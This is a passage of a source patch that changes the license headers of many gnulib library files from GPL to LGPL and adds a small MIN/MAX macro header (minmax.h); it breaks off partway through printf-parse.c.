++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 3 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+--- a/gnulib/lib/mbschr.c
++++ b/gnulib/lib/mbschr.c
+@@ -2,17 +2,17 @@
+ Copyright (C) 2007-2021 Free Software Foundation, Inc.
+ Written by Bruno Haible <bruno@clisp.org>, 2007.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 3 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+--- a/gnulib/lib/mbsinit.c
++++ b/gnulib/lib/mbsinit.c
+@@ -2,17 +2,17 @@
+ Copyright (C) 2008-2021 Free Software Foundation, Inc.
+ Written by Bruno Haible <bruno@clisp.org>, 2008.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+--- a/gnulib/lib/mbslen.c
++++ b/gnulib/lib/mbslen.c
+@@ -2,17 +2,17 @@
+ Copyright (C) 2007-2021 Free Software Foundation, Inc.
+ Written by Bruno Haible <bruno@clisp.org>, 2007.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 3 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+--- a/gnulib/lib/mbsncasecmp.c
++++ b/gnulib/lib/mbsncasecmp.c
+@@ -3,17 +3,17 @@
+ Written by Bruno Haible <bruno@clisp.org>, 2005,
+ based on earlier glibc code.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 3 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+--- a/gnulib/lib/mbsstr.c
++++ b/gnulib/lib/mbsstr.c
+@@ -2,17 +2,17 @@
+ Copyright (C) 2005-2021 Free Software Foundation, Inc.
+ Written by Bruno Haible <bruno@clisp.org>, 2005.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 3 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+--- a/gnulib/lib/mbtowc-impl.h
++++ b/gnulib/lib/mbtowc-impl.h
+@@ -2,17 +2,17 @@
+ Copyright (C) 2011-2021 Free Software Foundation, Inc.
+ Written by Bruno Haible <bruno@clisp.org>, 2011.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* We don't need a static internal state, because the encoding is not state
+--- a/gnulib/lib/mbtowc-lock.c
++++ b/gnulib/lib/mbtowc-lock.c
+@@ -1,17 +1,17 @@
+ /* Return the internal lock used by mbrtowc and mbrtoc32.
+ Copyright (C) 2019-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Bruno Haible <bruno@clisp.org>, 2019-2020. */
+--- a/gnulib/lib/mbtowc-lock.h
++++ b/gnulib/lib/mbtowc-lock.h
+@@ -1,17 +1,17 @@
+ /* Use the internal lock used by mbrtowc and mbrtoc32.
+ Copyright (C) 2019-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Bruno Haible <bruno@clisp.org>, 2019-2020. */
+--- a/gnulib/lib/mbtowc.c
++++ b/gnulib/lib/mbtowc.c
+@@ -2,17 +2,17 @@
+ Copyright (C) 2011-2021 Free Software Foundation, Inc.
+ Written by Bruno Haible <bruno@clisp.org>, 2011.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+--- a/gnulib/lib/mbuiter.c
++++ b/gnulib/lib/mbuiter.c
+@@ -1,3 +1,20 @@
++/* Iterating through multibyte strings: macros for multi-byte encodings.
++ Copyright (C) 2012-2021 Free Software Foundation, Inc.
++
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 3 of the
++ License, or (at your option) any later version.
++
++ This file is distributed in the hope that it will be useful,
++ but WITHOUT ANY WARRANTY; without even the implied warranty of
++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
++ GNU Lesser General Public License for more details.
++
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
++
+ #include <config.h>
++
+ #define MBUITER_INLINE _GL_EXTERN_INLINE
+ #include "mbuiter.h"
+--- a/gnulib/lib/mbuiter.h
++++ b/gnulib/lib/mbuiter.h
+@@ -1,17 +1,17 @@
+ /* Iterating through multibyte strings: macros for multi-byte encodings.
+ Copyright (C) 2001, 2005, 2007, 2009-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 3 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Bruno Haible <bruno@clisp.org>. */
+--- a/gnulib/lib/memchr.c
++++ b/gnulib/lib/memchr.c
+@@ -7,21 +7,21 @@
+ adaptation to memchr suggested by Dick Karpinski (dick@cca.ucsf.edu),
+ and implemented by Roland McGrath (roland@ai.mit.edu).
+
+-NOTE: The canonical source of this file is maintained with the GNU C Library.
+-Bugs can be reported to bug-glibc@prep.ai.mit.edu.
++ NOTE: The canonical source of this file is maintained with the GNU C Library.
++ Bugs can be reported to bug-glibc@prep.ai.mit.edu.
+
+-This program is free software: you can redistribute it and/or modify it
+-under the terms of the GNU General Public License as published by the
+-Free Software Foundation; either version 3 of the License, or any
+-later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+-This program is distributed in the hope that it will be useful,
+-but WITHOUT ANY WARRANTY; without even the implied warranty of
+-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+-GNU General Public License for more details.
++ This file is distributed in the hope that it will be useful,
++ but WITHOUT ANY WARRANTY; without even the implied warranty of
++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
++ GNU Lesser General Public License for more details.
+
+-You should have received a copy of the GNU General Public License
+-along with this program. If not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #ifndef _LIBC
+ # include <config.h>
+--- a/gnulib/lib/memchr.valgrind
++++ b/gnulib/lib/memchr.valgrind
+@@ -2,17 +2,17 @@
+
+ # Copyright (C) 2009-2021 Free Software Foundation, Inc.
+ #
+-# This program is free software: you can redistribute it and/or modify
+-# it under the terms of the GNU General Public License as published by
+-# the Free Software Foundation; either version 3 of the License, or
+-# (at your option) any later version.
++# This file is free software: you can redistribute it and/or modify
++# it under the terms of the GNU Lesser General Public License as
++# published by the Free Software Foundation; either version 2.1 of the
++# License, or (at your option) any later version.
+ #
+-# This program is distributed in the hope that it will be useful,
++# This file is distributed in the hope that it will be useful,
+ # but WITHOUT ANY WARRANTY; without even the implied warranty of
+ # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+-# GNU General Public License for more details.
++# GNU Lesser General Public License for more details.
+ #
+-# You should have received a copy of the GNU General Public License
++# You should have received a copy of the GNU Lesser General Public License
+ # along with this program. If not, see <https://www.gnu.org/licenses/>.
+
+ # POSIX states that when the character is found, memchr must not read extra
+--- a/gnulib/lib/mempcpy.c
++++ b/gnulib/lib/mempcpy.c
+@@ -1,18 +1,18 @@
+ /* Copy memory area and return pointer after last written byte.
+ Copyright (C) 2003, 2007, 2009-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+
+--- a/gnulib/lib/memrchr.c
++++ b/gnulib/lib/memrchr.c
+@@ -9,17 +9,17 @@
+ adaptation to memchr suggested by Dick Karpinski (dick@cca.ucsf.edu),
+ and implemented by Roland McGrath (roland@ai.mit.edu).
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 3 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #if defined _LIBC
+--- /dev/null
++++ b/gnulib/lib/minmax.h
+@@ -0,0 +1,60 @@
++/* MIN, MAX macros.
++ Copyright (C) 1995, 1998, 2001, 2003, 2005, 2009-2021 Free Software
++ Foundation, Inc.
++
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
++
++ This file is distributed in the hope that it will be useful,
++ but WITHOUT ANY WARRANTY; without even the implied warranty of
++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
++ GNU Lesser General Public License for more details.
++
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
++
++#ifndef _MINMAX_H
++#define _MINMAX_H
++
++/* Note: MIN, MAX are also defined in <sys/param.h> on some systems
++ (glibc, IRIX, HP-UX, OSF/1). Therefore you might get warnings about
++ MIN, MAX macro redefinitions on some systems; the workaround is to
++ #include this file as the last one among the #include list. */
++
++/* Before we define the following symbols we get the <limits.h> file
++ since otherwise we get redefinitions on some systems if <limits.h> is
++ included after this file. Likewise for <sys/param.h>.
++ If more than one of these system headers define MIN and MAX, pick just
++ one of the headers (because the definitions most likely are the same). */
++#if HAVE_MINMAX_IN_LIMITS_H
++# include <limits.h>
++#elif HAVE_MINMAX_IN_SYS_PARAM_H
++# include <sys/param.h>
++#endif
++
++/* Note: MIN and MAX should be used with two arguments of the
++ same type. They might not return the minimum and maximum of their two
++ arguments, if the arguments have different types or have unusual
++ floating-point values. For example, on a typical host with 32-bit 'int',
++ 64-bit 'long long', and 64-bit IEEE 754 'double' types:
++
++ MAX (-1, 2147483648) returns 4294967295.
++ MAX (9007199254740992.0, 9007199254740993) returns 9007199254740992.0.
++ MAX (NaN, 0.0) returns 0.0.
++ MAX (+0.0, -0.0) returns -0.0.
++
++ and in each case the answer is in some sense bogus. */
++
++/* MAX(a,b) returns the maximum of A and B. */
++#ifndef MAX
++# define MAX(a,b) ((a) > (b) ? (a) : (b))
++#endif
++
++/* MIN(a,b) returns the minimum of A and B. */
++#ifndef MIN
++# define MIN(a,b) ((a) < (b) ? (a) : (b))
++#endif
++
++#endif /* _MINMAX_H */
+--- a/gnulib/lib/msvc-inval.c
++++ b/gnulib/lib/msvc-inval.c
+@@ -1,18 +1,18 @@
+ /* Invalid parameter handler for MSVC runtime libraries.
+ Copyright (C) 2011-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License along
+- with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+
+--- a/gnulib/lib/msvc-inval.h
++++ b/gnulib/lib/msvc-inval.h
+@@ -1,18 +1,18 @@
+ /* Invalid parameter handler for MSVC runtime libraries.
+ Copyright (C) 2011-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License along
+- with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #ifndef _MSVC_INVAL_H
+ #define _MSVC_INVAL_H
+--- a/gnulib/lib/msvc-nothrow.c
++++ b/gnulib/lib/msvc-nothrow.c
+@@ -2,18 +2,18 @@
+ with MSVC runtime libraries.
+ Copyright (C) 2011-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License along
+- with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+
+--- a/gnulib/lib/msvc-nothrow.h
++++ b/gnulib/lib/msvc-nothrow.h
+@@ -2,18 +2,18 @@
+ with MSVC runtime libraries.
+ Copyright (C) 2011-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License along
+- with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #ifndef _MSVC_NOTHROW_H
+ #define _MSVC_NOTHROW_H
+--- a/gnulib/lib/nl_langinfo-lock.c
++++ b/gnulib/lib/nl_langinfo-lock.c
+@@ -1,17 +1,17 @@
+ /* Return the internal lock used by nl_langinfo.
+ Copyright (C) 2019-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Bruno Haible <bruno@clisp.org>, 2019-2020. */
+--- a/gnulib/lib/nl_langinfo.c
++++ b/gnulib/lib/nl_langinfo.c
+@@ -2,17 +2,17 @@
+
+ Copyright (C) 2007-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+--- a/gnulib/lib/open.c
++++ b/gnulib/lib/open.c
+@@ -1,17 +1,17 @@
+ /* Open a descriptor to a file.
+ Copyright (C) 2007-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Bruno Haible <bruno@clisp.org>, 2007. */
+--- a/gnulib/lib/pathmax.h
++++ b/gnulib/lib/pathmax.h
+@@ -2,18 +2,18 @@
+ Copyright (C) 1992, 1999, 2001, 2003, 2005, 2009-2021 Free Software
+ Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #ifndef _PATHMAX_H
+ # define _PATHMAX_H
+--- a/gnulib/lib/printf-args.c
++++ b/gnulib/lib/printf-args.c
+@@ -2,18 +2,18 @@
+ Copyright (C) 1999, 2002-2003, 2005-2007, 2009-2021 Free Software
+ Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License along
+- with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* This file can be parametrized with the following macros:
+ ENABLE_UNISTDIO Set to 1 to enable the unistdio extensions.
+--- a/gnulib/lib/printf-args.h
++++ b/gnulib/lib/printf-args.h
+@@ -2,18 +2,18 @@
+ Copyright (C) 1999, 2002-2003, 2006-2007, 2011-2021 Free Software
+ Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License along
+- with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #ifndef _PRINTF_ARGS_H
+ #define _PRINTF_ARGS_H
+--- a/gnulib/lib/printf-parse.c
++++ b/gnulib/lib/printf-parse.c
+@@ -1,18 +1,18 @@
+ /* Formatted output to strings.
+ Copyright (C) 1999-2000, 2002-2003, 2006-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
